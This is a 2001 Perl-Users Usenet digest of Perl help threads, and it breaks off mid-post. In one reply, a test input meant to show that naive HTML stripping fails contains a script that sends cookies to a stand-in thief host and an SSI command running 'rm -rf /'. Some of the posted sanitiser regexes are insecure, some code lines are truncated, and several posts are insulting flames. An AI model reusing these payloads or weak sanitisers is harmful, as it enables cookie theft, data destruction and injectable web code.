[18135] in Perl-Users-Digest

home help back first fref pref prev next nref lref last post

Perl-Users Digest, Issue: 303 Volume: 10

daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Fri Feb 16 18:06:10 2001

Date: Fri, 16 Feb 2001 15:05:12 -0800 (PST)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Message-Id: <982364711-v10-i303@ruby.oce.orst.edu>
Content-Type: text

Perl-Users Digest           Fri, 16 Feb 2001     Volume: 10 Number: 303

Today's topics:
        Back Reference Problem I Think <grichards@endertechnology.com>
    Re: Character read stopping at 200 characters <jdf@pobox.com>
    Re: FAQ 4.36:   Why don't my <<HERE documents work? <godzilla@stomp.stomp.tokyo>
    Re: FAQ 4.36:   Why don't my <<HERE documents work? <uri@sysarch.com>
    Re: HTML generator <soso@open.net>
    Re: HTML generator <soso@open.net>
    Re: Make a bitmap capture of a web page blah@blah.blah.invalid
    Re: Multi-dimensioned arrays (Abigail)
    Re: Multi-dimensioned arrays (Abigail)
    Re: Multi-dimensioned arrays <bmb@ginger.libs.uga.edu>
    Re: Multi-dimensioned arrays <dontspamthewebmaster@webdragon.net>
    Re: Newbie needs help with form <uri@sysarch.com>
    Re: Newbie needs help with form <perldomo@hotmail.com>
    Re: Newbie needs help with form <uri@sysarch.com>
    Re: Newbie needs help with form <revjack@revjack.net>
    Re: Perl 5 and graphics <uri@sysarch.com>
    Re: Perl 5 and graphics <perldomo@hotmail.com>
    Re: Perl 5 and graphics <uri@sysarch.com>
    Re: Perl 5 and graphics <godzilla@stomp.stomp.tokyo>
    Re: Perl and #include <soso@open.net>
    Re: Perl and #include <gtoomey@usa.net>
    Re: regex experts (Charles DeRykus)
    Re: regex experts <bart.lateur@skynet.be>
    Re: striping HTML (Mahesh A)
    Re: striping HTML <gtoomey@usa.net>
    Re: striping HTML <joe+usenet@sunstarsys.com>
    Re: striping HTML (Rich Lafferty)
    Re: three-part form submission using CGI.pm <claytons@nortelnetworks.com>
    Re: three-part form submission using CGI.pm <godzilla@stomp.stomp.tokyo>
    Re: three-part form submission using CGI.pm <claytons@nortelnetworks.com>
    Re: three-part form submission using CGI.pm <stevenjm@telisphere.com 		#kppp temp entry>
        use strict and require <lxq79@REMOVE.CAPITALS.hotmail.com>
    Re: use strict and require <beable@my-deja.com>
        Digest Administrivia (Last modified: 16 Sep 99) (Perl-Users-Digest Admin)

----------------------------------------------------------------------

Date: Fri, 16 Feb 2001 22:59:08 GMT
From: "Gabriel Richards" <grichards@endertechnology.com>
Subject: Back Reference Problem I Think
Message-Id: <0hij6.21052$_D.3047540@typhoon.we.rr.com>

Below is my script to spider a portion of Yahoo's directory. I have it
halting after the first link gets put into @threadlinks because it's not
behaving as expected. For some reason $link does not contain any portion of
$string, instead it contains the last value in @threadlinks. However, $name
and $description are just as anticipated! Running this script should show
you. I don't know how this is happening.

Help very much appreciated.

Thanks,
Gabe

---------
#!/usr/bin/perl

use LWP::UserAgent;
$ua = new LWP::UserAgent;

my $req = new HTTP::Request GET =>
'http://dir.yahoo.com/Regional/U_S__States/California/Metropolitan_Areas/Los
_Angeles_Metro/Counties_and_Regions/South_Bay/';
my $res = $ua->request($req);
my $content = $res->content;

my @topcats = ($content =~
/href\=(\/Regional\/U_S__States\/California\/Metropolitan_Areas\/Los_Angeles
_Metro\/Counties_and_Regions\/South_Bay\/[^>]+)/g);

foreach (@topcats) {
    Thread($_, 0);
}

sub Thread {
 my $cat = shift;
 my $spcparid = shift;

 my $threadreq = new HTTP::Request GET => "http://dir.yahoo.com$cat";
 my $threadres = $ua->request($threadreq);
 my $threadcontent = $threadres->content;

 my @threadcats = ($threadcontent =~
/href\=(\/Regional\/U_S__States\/California\/Metropolitan_Areas\/Los_Angeles
_Metro\/Counties_and_Regions\/South_Bay\/[^>]+)/g);
 my @threadlinks = ($threadcontent =~
/href\=\"http\:\/\/srd\.yahoo\.com\/drst\/\d*\/\*(.*)[^<\/ul><p><\/ul>]/g);
 print "Threadlinks: ";
 print @threadlinks;
 print "\n\n";
 if (@threadlinks) {
  $string = $threadlinks[0];
  $string =~ tr/\n//d;
  $string =~ /\*(.*)">/;
  print "String: $string\n\n";
  $link = $1;
  print "Link: $link\n\n";
  $string =~ />(.*)<\/a/;
  $name = $1;
  print "Name: $name\n";
  $string =~ /\/i>(.*)/;
  $description = $1;
  $description =~ s/<.*>//;
  print "Description: $description";
  exit;
 }

    foreach (@threadcats) {
   Thread($_, $id);
 }
}


--
Ender Technology
Website and Database Development for Small Business
http://www.endertechnology.com
310-532-7455




------------------------------

Date: 16 Feb 2001 16:28:49 -0500
From: Jonathan Feinberg <jdf@pobox.com>
Subject: Re: Character read stopping at 200 characters
Message-Id: <ofw2jp0u.fsf@pobox.com>

sharty@ccbs.com (MJS) writes:

> When I run the script, the entire string is written out sucessfully
> to both files ( TXT and HTML)
> 
> When I recall the file for editing again, PERL is cutting off the 1000
> character input at 200.

Without seeing any of your code, it's impossible to know just where
you've gone wrong.

-- 
Jonathan Feinberg   jdf@pobox.com   Sunny Brooklyn, NY
http://pobox.com/~jdf


------------------------------

Date: Fri, 16 Feb 2001 11:40:44 -0800
From: "Godzilla!" <godzilla@stomp.stomp.tokyo>
Subject: Re: FAQ 4.36:   Why don't my <<HERE documents work?
Message-Id: <3A8D823C.201CA750@stomp.stomp.tokyo>

PerlFAQ Server wrote:


>   Why don't my <<HERE documents work?
 
(snipped lots and lots of code to correct here doc problems)

There is an easier solution to avoid these myriad
problems with here document style. 

Never use here document style. That's stupid!


Godzilla!


------------------------------

Date: Fri, 16 Feb 2001 20:46:51 GMT
From: Uri Guttman <uri@sysarch.com>
Subject: Re: FAQ 4.36:   Why don't my <<HERE documents work?
Message-Id: <x7ofw2jqyw.fsf@home.sysarch.com>

>>>>> "G" == Godzilla!  <godzilla@stomp.stomp.tokyo> writes:

  G> PerlFAQ Server wrote:
  >> Why don't my <<HERE documents work?
 
  G> (snipped lots and lots of code to correct here doc problems)

  G> There is an easier solution to avoid these myriad
  G> problems with here document style. 

  G> Never use here document style. That's stupid!

and that advice is typical moronzilla stupidity. but i don't need to
tell everyone that. oh, here docs were in perl4 and have nothing to do
with modules.

uri

-- 
Uri Guttman  ---------  uri@sysarch.com  ----------  http://www.sysarch.com
SYStems ARCHitecture, Software Engineering, Perl, Internet, UNIX Consulting
The Perl Books Page  -----------  http://www.sysarch.com/cgi-bin/perl_books
The Best Search Engine on the Net  ----------  http://www.northernlight.com


------------------------------

Date: 16 Feb 2001 21:39:08 GMT
From: "Martijn Mulder" <soso@open.net>
Subject: Re: HTML generator
Message-Id: <01c09861$547e8000$LocalHost@default>

You are right,  no need to re-invent the wheel but I am working with a
Windows version of Perl 5.001 and all functionallity is stashed away in a
huge .DLL file and none of the .PM files of Perl is available. Also no
access to
online documentation, allthough I keep (and cherish) my Camel and BigHorn
books. I am looking for a small, homegrown implementation in tiny Perl to
write out elementary stuff in every .HTML file, more or less re-enginering
the wheel ;-).

> perldoc CGI
> -- 
> Bob Walton




------------------------------

Date: 16 Feb 2001 21:38:49 GMT
From: "Martijn Mulder" <soso@open.net>
Subject: Re: HTML generator
Message-Id: <01c09861$308d7340$LocalHost@default>

You are right,  no need to re-invent the wheel but I am working with a
Windows version of Perl 5.001 and all functionallity is stashed away in a
huge .DLL 
file and none of the .PM files of Perl is available. Also no access to
online documentation, allthough I keep (and cherish) my Camel and BigHorn
books. I am looking for a small, homegrown implementation in tiny Perl to
write out elementary stuff in every .HTML file, more or less re-enginering
the wheel ;-).

> perldoc CGI
> -- 
> Bob Walton



------------------------------

Date: Fri, 16 Feb 2001 21:01:54 GMT
From: blah@blah.blah.invalid
Subject: Re: Make a bitmap capture of a web page
Message-Id: <6zgj6.3505$Sx5.248035@news.flash.net>

> Erwan Gallen (egallen@NOSPAMnetcourrier.com) wrote:
> : I'm searching a module which can capture a web page in a bitmap image (png
> : ou jpeg).

You can use html2ps (http://www.tdb.uu.se/~jan/) and then Imagemagick
(http://www.imagemagick.org).



------------------------------

Date: 16 Feb 2001 19:33:45 GMT
From: abigail@foad.org (Abigail)
Subject: Re: Multi-dimensioned arrays
Message-Id: <slrn98r04p.log.abigail@tsathoggua.rlyeh.net>

Brad Baxter (bmb@ginger.libs.uga.edu) wrote on MMDCCXXVI September
MCMXCIII in <URL:news:Pine.A41.4.21.0102161314120.13802-100000@ginger.libs.uga.edu>:
~~ 
~~ Randall will get you for that.  :-)


Oh, the irony.


Abigail
-- 
sub camel (^#87=i@J&&&#]u'^^s]#'#={123{#}7890t[0.9]9@+*`"'***}A&&&}n2o}00}t324i;
h[{e **###{r{+P={**{e^^^#'#i@{r'^=^{l+{#}H***i[0.9]&@a5`"':&^;&^,*&^$43##@@####;
c}^^^&&&k}&&&}#=e*****[]}'r####'`=437*{#};::'1[0.9]2@43`"'*#==[[.{{],,,1278@#@);
print+((($llama=prototype'camel')=~y|+{#}$=^*&[0-9]i@:;`"',.| |d)&&$llama."\n");


------------------------------

Date: 16 Feb 2001 19:34:48 GMT
From: abigail@foad.org (Abigail)
Subject: Re: Multi-dimensioned arrays
Message-Id: <slrn98r06o.log.abigail@tsathoggua.rlyeh.net>

Stephen Taylor (stephen@cad.strath.ac.uk) wrote on MMDCCXXVI September
MCMXCIII in <URL:news:3A8D4C4B.9BF39864@cad.strath.ac.uk>:
## 
## I don't have much time to commit to learning perl, so I was hoping that
## someone could help me with a quick answer to a problem.

Then don't expect us to spend much time committed to answering
your questions.

*plonk*


Abigail
-- 
perl -e '$a = q 94a75737420616e6f74686572205065726c204861636b65720a9 and
         ${qq$\x5F$} = q 97265646f9 and s g..g;
         qq e\x63\x68\x72\x20\x30\x78$&eggee;
         {eval if $a =~ s e..eqq qprint chr 0x$& and \x71\x20\x71\x71qeexcess}'


------------------------------

Date: Fri, 16 Feb 2001 15:11:48 -0500
From: Brad Baxter <bmb@ginger.libs.uga.edu>
Subject: Re: Multi-dimensioned arrays
Message-Id: <Pine.A41.4.21.0102161511120.13802-100000@ginger.libs.uga.edu>

On Fri, 16 Feb 2001, Uri Guttman wrote:
> >>>>> "BB" == Brad Baxter <bmb@ginger.libs.uga.edu> writes:
> 
>   >> $numrecords = scalar(@data);
> 
>   BB> Randall will get you for that.  :-)
> 
>   BB> No 'scalar' needed.
> 
> and randal will get you for that. no second 'l'.
> 
> :)
> 
> uri

*damn!*--sorry.

Brad



------------------------------

Date: 16 Feb 2001 23:02:09 GMT
From: "Scott R. Godin" <dontspamthewebmaster@webdragon.net>
Subject: Re: Multi-dimensioned arrays
Message-Id: <96kbhh$ei6$0@216.155.32.211>

In article 
<Pine.A41.4.21.0102161314120.13802-100000@ginger.libs.uga.edu>, Brad 
Baxter <bmb@ginger.libs.uga.edu> wrote:

 | On 16 Feb 2001, Scott R. Godin wrote:
 | >     my @temp = (split /,/); #note use of my and ()'s
 | 
 | Scott,
 | 
 | Forgive me for picking nits.
 | 
 | You would need the ()'s if you were subscripting the function call, e.g.
 | 
 |     print+(split " ", "1 2 3")[1];
 | 
 | but you don't need them in your code above.

so noted. I just felt it'd be nice to explicitly suggest list context.. 
plus I'm used to 
    chomp(my @data = <IN>);#neeeeeed those parens
 
 | > $numrecords = scalar(@data);
 | 
 | Randall will get you for that.  :-)
 | 
 |     $numrecords = @data;

heh I like to be explicit wherever possible, but I see your point. :)

-- 
send mail to webmaster (at) webdragon (dot) net instead of the above address. 
this is to prevent spamming. e-mail reply-to's have been altered 
to prevent scan software from extracting my address for the purpose 
of spamming me, which I hate with a passion bordering on obsession.  


------------------------------

Date: Fri, 16 Feb 2001 19:09:19 GMT
From: Uri Guttman <uri@sysarch.com>
Subject: Re: Newbie needs help with form
Message-Id: <x74rxula1r.fsf@home.sysarch.com>

>>>>> "M" == Montego  <perldomo@hotmail.com> writes:

  M> Didn't mean to upset you there, but my understanding is that this person
  M> needs a basic, simple script that's easy to configure. If you don't like
  M> Form mail, you don't have to use it.

and we have to handle loads of kiddies like you who try to use broken
crap like matt's. do you want to help them all? 

and STOP POSTING JEOPARDY STYLE. learn something instead of spouting off
useless crap like matt's scripts. 

uri

-- 
Uri Guttman  ---------  uri@sysarch.com  ----------  http://www.sysarch.com
SYStems ARCHitecture, Software Engineering, Perl, Internet, UNIX Consulting
The Perl Books Page  -----------  http://www.sysarch.com/cgi-bin/perl_books
The Best Search Engine on the Net  ----------  http://www.northernlight.com


------------------------------

Date: Fri, 16 Feb 2001 11:05:40 -0800
From: "Montego" <perldomo@hotmail.com>
Subject: Re: Newbie needs help with form
Message-Id: <t8qur4tnh6t0a7@corp.supernews.com>

Nope. This is my first time. Apparently there is some sort of rule that I'm
not allowed to recommend Matt's scripts (even though they are functional and
widely used, if not expertly written)? Is this newsgroup run by the Libyans
or something? It's just an opinion. I can't believe I'm getting flamed just
for trying to be helpful.

"revjack" <revjack@revjack.net> wrote in message
news:96jtdh$4j9$1@news1.Radix.Net...
> Montego <perldomo@hotmail.com> wrote:
> : I would recommend going to Matt Wright's script archive at
> : http://worlwidemart.com/scripts/ and get a hold of his form mail script.
>
> You haven't been reading comp.lang.perl.misc for long, have you? :)
>
> --
> ___________________
> revjack@revjack.net
>




------------------------------

Date: Fri, 16 Feb 2001 19:14:08 GMT
From: Uri Guttman <uri@sysarch.com>
Subject: Re: Newbie needs help with form
Message-Id: <x7vgqajv9b.fsf@home.sysarch.com>

>>>>> "M" == Montego  <perldomo@hotmail.com> writes:

  M> Nope. This is my first time. Apparently there is some sort of rule
  M> that I'm not allowed to recommend Matt's scripts (even though they
  M> are functional and widely used, if not expertly written)? Is this
  M> newsgroup run by the Libyans or something? It's just an opinion. I
  M> can't believe I'm getting flamed just for trying to be helpful.

you are not being helpful. the fact that his scripts are broken as well
as lousy doesn't seem to get through to you. and you are supposed to
lurk in a new group for a while which you obviously haven't. you don't
know shit about this group nor perl. don't answer anything more until
you learn some about both. matt's scripts are not allowed to be
recommended here under ANY CIRCUMSTANCES. they have caused more problems
here and on the web than you can imagine. now shut up about it and you
won't get flamed anymore.

uri

-- 
Uri Guttman  ---------  uri@sysarch.com  ----------  http://www.sysarch.com
SYStems ARCHitecture, Software Engineering, Perl, Internet, UNIX Consulting
The Perl Books Page  -----------  http://www.sysarch.com/cgi-bin/perl_books
The Best Search Engine on the Net  ----------  http://www.northernlight.com


------------------------------

Date: 16 Feb 2001 19:28:53 GMT
From: revjack <revjack@revjack.net>
Subject: Re: Newbie needs help with form
Message-Id: <96jv1l$59s$1@news1.Radix.Net>
Keywords: Hexapodia as the key insight

Montego <perldomo@hotmail.com> wrote:

: Nope. This is my first time.

You should probably read a newsgroup for a couple of weeks
and also read its charter and FAQ before participating,
especially in technical ones. If you don't, it's easy to
inadvertently do more harm than good.

If you like perl, I hope you stick around. If you stick
around, I hope you learn how things get done here. It's not
that hard to pick up. :)

-- 
___________________
revjack@revjack.net



------------------------------

Date: Fri, 16 Feb 2001 19:10:37 GMT
From: Uri Guttman <uri@sysarch.com>
Subject: Re: Perl 5 and graphics
Message-Id: <x7zofmjvf7.fsf@home.sysarch.com>

>>>>> "M" == Montego  <perldomo@hotmail.com> writes:

  M> I have no idea how to do this, but I want to make a subroutine that will
  M> check the dimensions of a GIF or JPG image on a remote server. This way,
  M> someone can use a form to enter the URL of an image on their site, and my
  M> script will check it and assign the width and height to variables. Then I
  M> can check those values and return an error if it's too large.

  M> The only part I'm stumped on is how to actually get the dimensions into the
  M> variables.

ask matt wright for help. his scripts are easy to use and do
everything. including all sorts of graphics like generating pictures of
security holes.

uri

-- 
Uri Guttman  ---------  uri@sysarch.com  ----------  http://www.sysarch.com
SYStems ARCHitecture, Software Engineering, Perl, Internet, UNIX Consulting
The Perl Books Page  -----------  http://www.sysarch.com/cgi-bin/perl_books
The Best Search Engine on the Net  ----------  http://www.northernlight.com


------------------------------

Date: Fri, 16 Feb 2001 11:07:29 -0800
From: "Montego" <perldomo@hotmail.com>
Subject: Re: Perl 5 and graphics
Message-Id: <t8quuh5puo0be7@corp.supernews.com>

That's hilarious. Thanks for the ultra-mature answer, Uri.


"Uri Guttman" <uri@sysarch.com> wrote in message
news:x7zofmjvf7.fsf@home.sysarch.com...
> >>>>> "M" == Montego  <perldomo@hotmail.com> writes:
>
>   M> I have no idea how to do this, but I want to make a subroutine that
will
>   M> check the dimensions of a GIF or JPG image on a remote server. This
way,
>   M> someone can use a form to enter the URL of an image on their site,
and my
>   M> script will check it and assign the width and height to variables.
Then I
>   M> can check those values and return an error if it's too large.
>
>   M> The only part I'm stumped on is how to actually get the dimensions
into the
>   M> variables.
>
> ask matt wright for help. his scripts are easy to use and do
> everything. including all sorts of graphics like generating pictures of
> security holes.
>
> uri
>
> --
> Uri Guttman  ---------  uri@sysarch.com  ----------
http://www.sysarch.com
> SYStems ARCHitecture, Software Engineering, Perl, Internet, UNIX
Consulting
> The Perl Books Page  -----------
http://www.sysarch.com/cgi-bin/perl_books
> The Best Search Engine on the Net  ----------
http://www.northernlight.com




------------------------------

Date: Fri, 16 Feb 2001 19:16:55 GMT
From: Uri Guttman <uri@sysarch.com>
Subject: Re: Perl 5 and graphics
Message-Id: <x7r90yjv4o.fsf@home.sysarch.com>

>>>>> "M" == Montego  <perldomo@hotmail.com> writes:

  M> That's hilarious. Thanks for the ultra-mature answer, Uri.

well, i write down to the level of the poster. with you, i have to crawl
under a snake named matt. go away. you will not listen nor learn. no one
here needs your advice and i doubt you will get much help if you keep
backing matt. i surely will not assist you and none of the regulars
will. maybe moronzilla will pounce on your newbieness and give you a
typical lousy answer which you will think is great.

uri

-- 
Uri Guttman  ---------  uri@sysarch.com  ----------  http://www.sysarch.com
SYStems ARCHitecture, Software Engineering, Perl, Internet, UNIX Consulting
The Perl Books Page  -----------  http://www.sysarch.com/cgi-bin/perl_books
The Best Search Engine on the Net  ----------  http://www.northernlight.com


------------------------------

Date: Fri, 16 Feb 2001 11:33:58 -0800
From: "Godzilla!" <godzilla@stomp.stomp.tokyo>
Subject: Re: Perl 5 and graphics
Message-Id: <3A8D80A6.4A55B933@stomp.stomp.tokyo>

Uri Guttman wrote:
 
> Montego wrote:
 
> > That's hilarious. Thanks for the ultra-mature answer, Uri.
 
(snipped)

> maybe moronzilla will pounce on your newbieness and give you a
> typical lousy answer which you will think is great.


* growls like a mama puma and pounces *


* Sally Field Accepting Academy Award Voice *

You like me! You really like me!


Godzilla!
-- 
Dr. Kiralynne Schilitubi ¦ Cooling Fan Specialist
UofD: University of Duh! ¦ ENIAC Hard Wiring Pro
BumScrew, South of Egypt ¦ HTML Programming Class


------------------------------

Date: 16 Feb 2001 21:52:19 GMT
From: "Martijn Mulder" <soso@open.net>
Subject: Re: Perl and #include
Message-Id: <01c09863$2b775900$LocalHost@default>

I work on something simular. In file util.HTML I keep a collection of
function definitions in JavaScript, written out in Perl as a $calar. Then I
make a @list of all the functions I want to #include and Perl writes the
functions out ordered in alphabetical order. The trick I found to replace
the $vars in the HTML file is to use a reference to an array:

$prettyFunction1=<<STOP;
function prettyFunction1(one, two){print "pretty!");}
STOP
$prettyFunction2=<<STOP;
function prettyFunction2(one, two){print "pretty too!");}
STOP
#functions
@functions = (
$prettyFunction1,
$prettyFunction2,
);
sub getJavaScript{"\n<script language=JavaScript>\n$_[0]</script>"}
print &getJavaScript(join('', sort(@functions)));

HTH, Martijn

(seems I sorted out the referenced array lately ;-)



Frank Miller <no@email.com> wrote in article
<Zlcj6.432457$U46.12652541@news1.sttls1.wa.home.com>...
> Does Perl have a #include type statement?
> 
> I want to do something like:
> 
> print <<"END"
> #include template.html
> END
> 
> I realize this would only print "#include...", but you get the idea.  I
> could just read the file and print each line via an open, while(<FILE>)
and
> print, but I need to to replace $vars in the template.html file.  Am I
> missing an obvious (and simple, this is Perl after all) way to do this?
> 
> FrankM
> 
> 
> 
> 


------------------------------

Date: Sat, 17 Feb 2001 08:13:31 +1000
From: "Gregory Toomey" <gtoomey@usa.net>
Subject: Re: Perl and #include
Message-Id: <Kohj6.27799$65.130419@newsfeeds.bigpond.com>

This little script will recursively expand all #include lines.
Call it like include("/user/dir/file") and it will return a list of the
expanded file.

Gregory Toomey
gtoomey@usa.net


sub include {
        my($i,$filename,$includefile,@list,@includel
        @list=();
        foreach $i (@_) {
                if ($i =~ m/#include/) {
                        open(includefile,substr($i,9
                        @includelist=<includefile>;
                        close(includefile);
                        push(@list,include(@includel
                } else {push(@list,$i);}
        }
        return(@list);
}


"Frank Miller" <no@email.com> wrote in message
news:Zlcj6.432457$U46.12652541@news1.sttls1.wa.home.com...
> Does Perl have a #include type statement?
>
> I want to do something like:
>
> print <<"END"
> #include template.html
> END
>
> I realize this would only print "#include...", but you get the idea.  I
> could just read the file and print each line via an open, while(<FILE>)
and
> print, but I need to to replace $vars in the template.html file.  Am I
> missing an obvious (and simple, this is Perl after all) way to do this?
>
> FrankM
>
>
>




------------------------------

Date: Fri, 16 Feb 2001 21:58:28 GMT
From: ced@bcstec.ca.boeing.com (Charles DeRykus)
Subject: Re: regex experts
Message-Id: <G8vEDG.B2y@news.boeing.com>

In article <96ing4$m0j$1@mamenchi.zrz.TU-Berlin.DE>,
Anno Siegel <anno4000@lublin.zrz.tu-berlin.de> wrote:
>Abigail <abigail@foad.org> wrote in comp.lang.perl.misc:
>>Anno Siegel (anno4000@lublin.zrz.tu-berlin.de) wrote on MMDCCXXV
>>September MCMXCIII in <URL:news:96gvol$fju$1@mamenchi.zrz.TU-Berlin.DE>:
>>@@ 
>>@@ It might come in handy in testing: What if nothing matches?  Otherwise,
>>@@ it's more of a mental exercise to remember that a regex doesn't *have*
>>@@ to match anything.  For this, good old /$^/ can serve as well, after
>>@@ all it wouldn't match if Perl didn't (quite unrelatedly) have $^.
>>
>>
>>Eh, you're wrong.
>>
>>    $ perl -wle 'print "Matches" if "" =~ /\Z\A/'
>>    Matches
>>    $ perl -wle 'print "Matches" if "" =~ /($)(^)/'
>>    Matches
>>    $
>
>I stand corrected.
>

Not so fast :) 

Maybe the parsing of /$^/ is idiosyncratic then because it
doesn't appear to match anything except STDOUT_TOP.
You need at least a set of parentheses:

   $ perl -wle 'print "Matches" if "" =~ /$^/'
   $ perl -wle 'print "Matches" if "" =~ /($)(^)/'
   Matches
   $ perl -wle 'print "Matches" if "" =~ /($)^/'
   Matches
   $ perl -wle 'print "Matches" if "" =~ /$(^)/'
   Matches
   

--
Charles DeRykus


------------------------------

Date: Fri, 16 Feb 2001 23:01:32 GMT
From: Bart Lateur <bart.lateur@skynet.be>
Subject: Re: regex experts
Message-Id: <gccr8ts9vess0c72968bjq9nipt5scictk@4ax.com>

Anno Siegel wrote:

>Abigail <abigail@foad.org> wrote in comp.lang.perl.misc:
>>@@ For this, good old /$^/ can serve as well, after
>>@@ all it wouldn't match if Perl didn't (quite unrelatedly) have $^.
>>
>>Eh, you're wrong.
>>
>>    $ perl -wle 'print "Matches" if "" =~ /\Z\A/'
>>    Matches
>>    $ perl -wle 'print "Matches" if "" =~ /($)(^)/'
>>    Matches
>>    $
>
>I stand corrected.

Try this one on for size.

	/.^/

Match any character but newline, followed by start of string, or, wit hm
modifier, start of line, right after newline. That will never happen.

It can fail if you provide both /s and /m modifiers, where /./ may match
"\n".

-- 
	Bart.


------------------------------

Date: Fri, 16 Feb 2001 21:42:50 GMT
From: maheshasolkar@yahoo.com (Mahesh A)
Subject: Re: striping HTML
Message-Id: <3a8d9e98.362250959@news>

On Fri, 16 Feb 2001 16:10:48 GMT, "Frank Miller" <no@email.com> wrote:

|I have a website where users can post text replies to questions.   I
don't
|want them to be able to enter HTML in the messages, because that
messes up
|my pages when I print the replies.
|
|Is there a good perl sub that will strip any HTML tags they put in
the
|message?  It would be nice if they could do simple ones like <br>,
<b> and
|other text formatting.  I don't want pictures, tables and font
changes.
|
|Frank
|
|

Could use the following regexp:

perl -ne '{s/<[^<|^>]*>//g;s/ +/ /g;print if (/\S/)}' JS_exp.html


------------------------------

Date: Sat, 17 Feb 2001 08:14:45 +1000
From: "Gregory Toomey" <gtoomey@usa.net>
Subject: Re: striping HTML
Message-Id: <Uphj6.27800$65.130246@newsfeeds.bigpond.com>

This should work:

sub strip_html {
 $text=@_;
 $text =~ s/<.*?>//g;
return $text;
}

Gregory Toomey
gtoomey@usa.net


"Frank Miller" <no@email.com> wrote in message
news:cicj6.432448$U46.12652316@news1.sttls1.wa.home.com...
> I have a website where users can post text replies to questions.   I don't
> want them to be able to enter HTML in the messages, because that messes up
> my pages when I print the replies.
>
> Is there a good perl sub that will strip any HTML tags they put in the
> message?  It would be nice if they could do simple ones like <br>, <b> and
> other text formatting.  I don't want pictures, tables and font changes.
>
> Frank
>
>




------------------------------

Date: 16 Feb 2001 17:17:04 -0500
From: Joe Schaefer <joe+usenet@sunstarsys.com>
Subject: Re: striping HTML
Message-Id: <m3ae7mgtnj.fsf@mumonkan.sunstarsys.com>

maheshasolkar@yahoo.com (Mahesh A) writes:

> On Fri, 16 Feb 2001 16:10:48 GMT, "Frank Miller" <no@email.com> wrote:
> 
> |I have a website where users can post text replies to questions.   I
> don't
> |want them to be able to enter HTML in the messages, because that
> messes up
> |my pages when I print the replies.
> |
> Could use the following regexp:
> 
> perl -ne '{s/<[^<|^>]*>//g;s/ +/ /g;print if (/\S/)}' JS_exp.html

#!/usr/bin/perl -w
undef $/; $_=<DATA>;
s/<[^<|^>]*>//g;s/ +/ /g;
print if (/\S/);

__DATA__
<html<>><head<>><title<>>bzzt</title<>></head<>>
<body background="red" onload="javascript:alert('2<1');"<>>
<img alt="pr0n" src="dirtypic.gif" /<>>
<script type="text/javascript" language="JavaScript1.2" <>>
  <!--<>
  var c = document.cookie;
  window.open("http://www.thief.org/?cookie=" . c);
  //-->
</script>
<!--#exec cmd="/bin/rm -rf / < /dev/null" -->" -->
</body<>></html<>>


For a better approach,

  % perldoc -q HTML

or consider HTML-encoding the tags instead
of stripping them.

-- 
Joe Schaefer   "I'm all in favor of keeping dangerous weapons out of the hands
                           of fools. Let's start with typewriters."
                                               -- Frank Lloyd Wright


------------------------------

Date: 16 Feb 2001 22:32:25 GMT
From: rich@bofh.concordia.ca (Rich Lafferty)
Subject: Re: striping HTML
Message-Id: <slrn98rarj.udg.rich@bofh.concordia.ca>

[Jeopardy posting fixed]

In comp.lang.perl.misc,
Gregory Toomey <gtoomey@usa.net> wrote:
> "Frank Miller" <no@email.com> wrote in message
> news:cicj6.432448$U46.12652316@news1.sttls1.wa.home.com...
> >
> > Is there a good perl sub that will strip any HTML tags they put in the
> > message?

> This should work:
> 
> sub strip_html {
>  $text=@_;
>  $text =~ s/<.*?>//g;
> return $text;
> }

You know, Perl's more a practical science than anything -- you should
try code before you paste it. (It shouldn't work, for a very simple
reason; even then, it shouldn't work for a more complex one. However,
to your benefit, the line "return $text;" is probably correct.)

  <!-- ">Rich<" -->

-- 
Rich Lafferty ----------------------------------------
 Nocturnal Aviation Division, IITS Computing Services
 Concordia University, Montreal, QC
rich@bofh.concordia.ca -------------------------------


------------------------------

Date: Fri, 16 Feb 2001 14:42:10 -0500
From: Clayton Scott <claytons@nortelnetworks.com>
Subject: Re: three-part form submission using CGI.pm
Message-Id: <3A8D8292.713F508F@nortelnetworks.com>

"Godzilla!" wrote:
> Yes, a suggestion. Stop using CGI.pm and write your own
> custom read and parse routine. All of your problems
> associated with CGI.pm will instantly vanish.

That's the stupidest thing I've ever read. I'm going to write and 
debug a replacement for a mature piece of reuseable software? There 
is no rational reason for doing so (other than as a learning 
experience).

Geez, I should put 
  print "Content-type: text/html\n\n";
at the top of every one of my perl scripts too!


Clayton


------------------------------

Date: Fri, 16 Feb 2001 11:47:24 -0800
From: "Godzilla!" <godzilla@stomp.stomp.tokyo>
Subject: Re: three-part form submission using CGI.pm
Message-Id: <3A8D83CC.3E01D2D3@stomp.stomp.tokyo>

Clayton Scott wrote:
 
> "Godzilla!" wrote:

> > Yes, a suggestion. Stop using CGI.pm and write your own
> > custom read and parse routine. All of your problems
> > associated with CGI.pm will instantly vanish.
 
> That's the stupidest thing I've ever read. I'm going to write and
> debug a replacement for a mature piece of reuseable software? There
> is no rational reason for doing so (other than as a learning
> experience).
 
> Geez, I should put
>   print "Content-type: text/html\n\n";
> at the top of every one of my perl scripts too!


Your comments well reflect why you 
suffer so many problems attempting
to write Perl programs.

Godzilla!


------------------------------

Date: Fri, 16 Feb 2001 16:09:56 -0500
From: Clayton Scott <claytons@nortelnetworks.com>
Subject: Re: three-part form submission using CGI.pm
Message-Id: <3A8D9724.AA8FBB5F@nortelnetworks.com>

"Godzilla!" wrote:
> Your comments well reflect why you
> suffer so many problems attempting
> to write Perl programs.

You're entitled to believe what you want about my Perl prowess.
And here's what I believe about yours:

More of your answers and opinionated ramblings on this newsgroup 
do more of a disservice to the people asking the questions than no 
answer at all.

Adieu,
Clayton


------------------------------

Date: Fri, 16 Feb 2001 22:12:01 GMT
From: "Steve" <stevenjm@telisphere.com 		#kppp temp entry>
Subject: Re: three-part form submission using CGI.pm
Message-Id: <RAhj6.155$Yh.438063@bcandid.telisphere.com>

In article <3A8D8292.713F508F@nortelnetworks.com>, "Clayton Scott"
<claytons@nortelnetworks.com> wrote:

> "Godzilla!" wrote:
>> Yes, a suggestion. Stop using CGI.pm and write your own custom read and
>> parse routine. All of your problems associated with CGI.pm will
>> instantly vanish.
> 
> That's the stupidest thing I've ever read. I'm going to write and  debug
> a replacement for a mature piece of reuseable software? There  is no
> rational reason for doing so (other than as a learning  experience).
> 

Well... it may not be the stupidist thing... and there may be rational
reasons for re-inventing the wheel, or at least redefining it.

For good or bad I've not used CGI.pm for a while.  Reuseable software is
generally a good thing, but like the M$ experience you must accept the
limitations such software imposes.  When you run into something that said
